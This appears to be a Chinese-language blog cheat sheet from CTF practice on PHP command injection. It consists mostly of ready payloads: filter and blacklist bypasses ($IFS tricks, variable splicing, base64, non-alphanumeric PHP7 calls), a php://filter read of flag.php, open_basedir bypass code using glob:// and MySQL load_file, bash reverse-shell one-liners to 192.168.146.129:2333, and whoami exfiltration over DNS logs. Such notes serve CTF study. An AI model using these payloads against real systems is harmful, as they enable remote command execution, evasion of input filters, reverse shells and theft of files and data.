php常用命令执行函数

system();
passthru();
exec();//执行无回显
    shell_exec();//执行无回显
`反引号//执行无回显

执行时过滤空格

  • win:

    • %ProgramFiles:~10,1%
  • linux:

    • $IFS$9
    • {cmd,args}(Bash)
    • cat<flag.txt
    • ${IFS}
    • ;IFS=,;
    • ${str:0:1} 截取
  • url编码

    • %09,%0b,%0c,%0a,%0d

黑名单

  • 利用变量拼接:

    • linux:a=c;b=at;$a$b flag.php or ${}
  • 利用通配符:* ?
  • 绕过无数字无字母

    • php7

      • PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示): (~%8F%97%8F%96%91%99%90)();
    • shell下可以利用.来执行任意脚本 Linux文件名支持用glob通配符代替
    • 我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????
  • 利用已有字符:

    • expr substr $(awk NR=1 1.txt) 2 2

截断符号

  • $
  • ;
  • |
  • -
  • (
  • )
  • 反引号
  • ||
  • &&
  • &
  • }
  • {
  • %0a 可以当作空格来用;

利用base编码绕过:

  • `echo 'Y2F0Cg==' | base64 -d` 1.txt

利用php伪协议:

  • c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.Base64-encode/resource=flag.php

打印字符常用命令:

  • cat 由第一行开始显示内容,并将所有内容输出
  • tac 从最后一行倒序显示内容,并将所有内容输出
  • more 根据窗口大小,一页一页的现实文件内容
  • less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
  • head 只显示头几行
  • tail 只显示最后几行
  • nl 类似于cat -n,显示时输出行号
  • tailf 类似于tail -f
  • sed sed 'p' 1.txt
  • sort 它将文件进行排序,并将排序结果标准输出
  • uniq 用于报告或忽略文件中的重复行
  • rev 将文件中的每行内容以字符为单位反序输出
  • cut cut -c1- 1.txt
  • awk 文本和数据进行处理的编程语言awk '{print}' flag.php
  • strings 在对象文件或二进制文件中查找可打印的字符串
  • od 输出文件的八进制、十六进制等格式编码的字节 od -c flag.

管道符号:

  • linux:

    1. " ; ": 执行完前面的语句在执行后面的语句。
    2. “ | “: 显示后面的语句的执行结果。
    3. ” || “:当前的语句执行出错时,执行后面的语句。
    4. ” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句 可真可假。
    5. ” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。
  • win:

    1. " | " :是直接后面的执行语句
    2. “ || ” :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假 才能执行。
    3. " & "两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的 语句可真可假。
    4. " && ":如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句 为真则两条命令都执行,前面的语句只能为真。

open_basedir 限制

 open_basedir 可将用户访问文件的活动范围限制在指定的区域
例如:
 open_basedir=/tmp/:/var/www/html 代表当前web可访问的文件路径只能为/tmp/内或者/var/www/html 内的文件可在 php.ini / .user.ini 文件配置
[?] 使用ini_set方式配置待测试。
[?] 是否可以在本地生成一个.user.ini 去替换配置

  • 绕过方法:
<?php
if ($dh = opendir('glob:///*')) {
    while (($file = readdir($dh)) !== false) {
        echo $file.' ';
    }
  closedir($dh);
}

$it = new DirectoryIterator('glob:///*');
    foreach($it as $f) {
    var_dump($f);
    //@var_dump(@$f->getSize());
    //printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

执行函数禁用

通过读取文件函数

  • file_get_contents()
  • highlight_file()
  • show_source()
  • fgets()
  • file()
  • readfile()

无回显

  • 反弹shell

    • 反弹shell基础
    • 反弹shell
    • bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
    • bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
    • bash -i >& /dev/tcp/192.168.146.129/2333 <&2
  • curl外带

    • 利用dnslog或者httplog外带数据如:ping `whoami`.xxx.com 查看日志
Last modification:May 3rd, 2021 at 05:37 pm
如果觉得我的文章对你有用,请随意赞赏